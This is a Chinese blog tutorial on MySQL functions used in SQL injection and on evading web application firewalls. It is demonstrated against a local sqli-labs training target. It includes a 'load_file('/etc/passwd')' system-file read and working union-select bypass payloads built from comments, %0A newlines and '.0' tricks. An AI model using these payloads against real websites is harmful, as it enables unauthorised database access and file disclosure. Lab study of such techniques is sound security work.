sql注入常用函数与bypasswaf

0x00前言在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言 

在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不严格的时候能有效的去绕过waf。

0x01  了解常见函数

system user() 系统用户名
concat() 连接字符串
user() 用户名
concat_ws() 含有分隔符地连接字符串 
current_user() 当前用户名
group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据 
session_user() 连接数据库 的用户名
load_file() 读取本地文件 
database() 数据库名
into outfile 写文件
version() 数据库版本 
ascii() 字符串的ASCII码值
@@datadir 数据库路径 
ord() 返回字符串第一个字符的 ASCII码值
@@basedir 数据库安装 路径 
mid() 返回一个字符串的一部分
@@version_compile_os 操作系统 
substr() 返回一个字符串的一部分 
count() 返回执行结 果数量 
length() 返回字符串的长度
substring   取值函数
div    除法运算函数 和/ 用法一样
mod: 取余数函数
hex():获取16进制的值

 

查询系统用户名

select system_user();

 

sql注入常用函数与bypasswaf

 

 

 

 

concat_ws 拼接函数

select concat_ws("|","a","b");

sql注入常用函数与bypasswaf

 

 

 这个也是一个拼接函数,在group_concat和concat被禁用的时候就可以使用到这个函数。

char_length 用法:

select char_length('123456') as abc;

 

计算值的长度命名为abc,在sql语法里面规则是这么定的,我也不知道为啥。

 

character_length

select character_length("123") as abc;

 

character_length的用法和char_length基本一样  功能也差不多

 

截取字符串函数

 

 

 

 select left("123",1);

 

从左边开始截取第一个值

select load_file('/etc/passwd');

读取本地的passwd文件

sql注入常用函数与bypasswaf

 

 

 @@datadir  显示数据库的路径

select @@datadir

 @@basedir  显示数据库的安装路径

select @@basedir

那么现在来尝试一下,正常查询语句拼接 and 语句来模拟注入。模拟现在waf 拦截and 1=1 的等于号,那么我们可以使用其他的运算符。

select * from users where id=1 and 1 div 1;

正常

select * from users where id=1 and 1 div 0;

报错

div 相当于sql语句里面的/ 斜杠 也就是除号。

select * from users where id=1 and 1 like 1;

正常

select * from users where id=1 and 1 like 0;

报错

 

like :模糊查询。

select * from users where id=1 and 1 * 1;

正常

select * from users where id=1 and 1 * 0;

报错

只要and 后面的条件成立等于true 就能执行能够判断是否存在注入。

比如绕过还可以使用到hex()这个函数

0x02  bypass waf

and 1=1拦截

and 1  拦截

 

sql注入常用函数与bypasswaf

 

and hex(0)

 

sql注入常用函数与bypasswaf

 

 

 

报错不拦截

 

and hex(1)

 

 

 

sql注入常用函数与bypasswaf

 

 

 

正常绕 and 判断。

那么再来爆出他的字段进行联合查询

order by  不拦截

order by   3正常

order by 4报错

  

字段为3个

使用联合查询来报错数据

 

sql注入常用函数与bypasswaf

 

 

 拦截  那么我们来fuzz一下他拦截的是哪个函数

那么我们还可以使用–+ 和%0a来绕过union select

union select 拦截

union 不拦截

select  不拦截

 

那么拦截的就是他们拼接一起。

我们这时候可以来把他中间的空格位置给fuzz一下。

union/**/select 拦截

union/*abc*/select 拦截

union/*!abc*/select 不拦截,但语句无法执行

 union--+/*!abc*/%0Aselect 语句能正常执行。

 

127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect 1,2,3

在id后面的位置呢可以加个.0来代替空格,因为mysql 不识别浮点型。

sql注入常用函数与bypasswaf

 

 

 再来试试其他方式

http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+hex(0)%0Aselect%201,2,3

一样能成功查询出来。

这时候就可以结合到我们的查询函数user(),来查询看看

sql注入常用函数与bypasswaf

 

http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect%201,user(),3

拦截  那么他拦截的肯定是user()这个函数,再来fuzz一下

user不拦截

()不拦截

那么从他中间插入payload打乱正则。

sql注入常用函数与bypasswaf

 

 成功爆出数据。

0x03  结尾

咱也不知道该说啥,来插个表情包吧!

sql注入常用函数与bypasswaf

 

 

 

 

 

 

select concat_ws(“|”,”a”,”b”);

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119977.html原文链接:https://javaforall.net

(0)
上一篇 2021年12月11日 上午7:00
下一篇 2021年12月11日 上午8:00


相关推荐

  • 使用python的netCDF4库读取.nc文件 和 创建.nc文件

    使用python的netCDF4库读取.nc文件 和 创建.nc文件使用 pythonnetCDF 库读取 nc 文件和创建 nc 文件 1 介绍 nc networkCommo 文件是气象上常用的数据格式 python 上读取 nc 使用较多的库为 netCDF4 这个库 下面将介绍这个库的具体方法 安装很简单 pipinstallne nc 文件介绍参考链接 https blog csdn net wildand

    2026年3月17日
    3
  • Java动态代理

    Java动态代理

    2022年1月20日
    50
  • TCP拥塞控制算法的演进

    TCP拥塞控制算法的演进TCP拥塞控制算法的演进TCP协议仅定义框架,也就是发送端和接收端需要遵循的“规则”。TCP协议的实现经过多年的改进,有了多个不同的版本。比较重要的有Tahoe、Reno、NewReno、SACK、Vegas等,有些已经成为了影响广泛的RFC文档,有些则成为了Unix/Linux操作系统的标准选项。以下简要介绍各个实现版本的主要区别和联系。1 早期的TCP实现最早的

    2022年6月24日
    24
  • estimator使用

    estimator使用一 model fn 函数有 5 个输入参数 features labels mode params config 并输出一个 EstimatorSpe 实例 features input fn 的第一个输出 labels input fn 的第二个输出 mode 操作类型 是训练 预测还是评估 对应 tf estimator ModeKeys EVAL TRAIN PREDICT params 定义 Estimator 实例时传入的 params 属性 config 定义 Estimator 实例时

    2026年3月17日
    3
  • 从0到1:C 调用 Claude 插件打通 Excel 与 PowerPoint 工作流

    从0到1:C 调用 Claude 插件打通 Excel 与 PowerPoint 工作流

    2026年3月15日
    2
  • Docker安装Rabbitmq超详细教程

    Docker安装Rabbitmq超详细教程安装Rabbitmq1.使用docker查询rabbitmq的镜像dockersearchrabbitmq2.安装镜像安装name为rabbitmq的这里是直接安装最新的,如果需要安装其他版本在rabbitmq后面跟上版本号即可dockerpullrabbitmq3.运行mq:dockerrun-d–hostnamemy-rabbit–namerabbit-p15672:15672-p5673:5672rabbitmq通过dockerps-a查看部

    2022年5月24日
    56

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号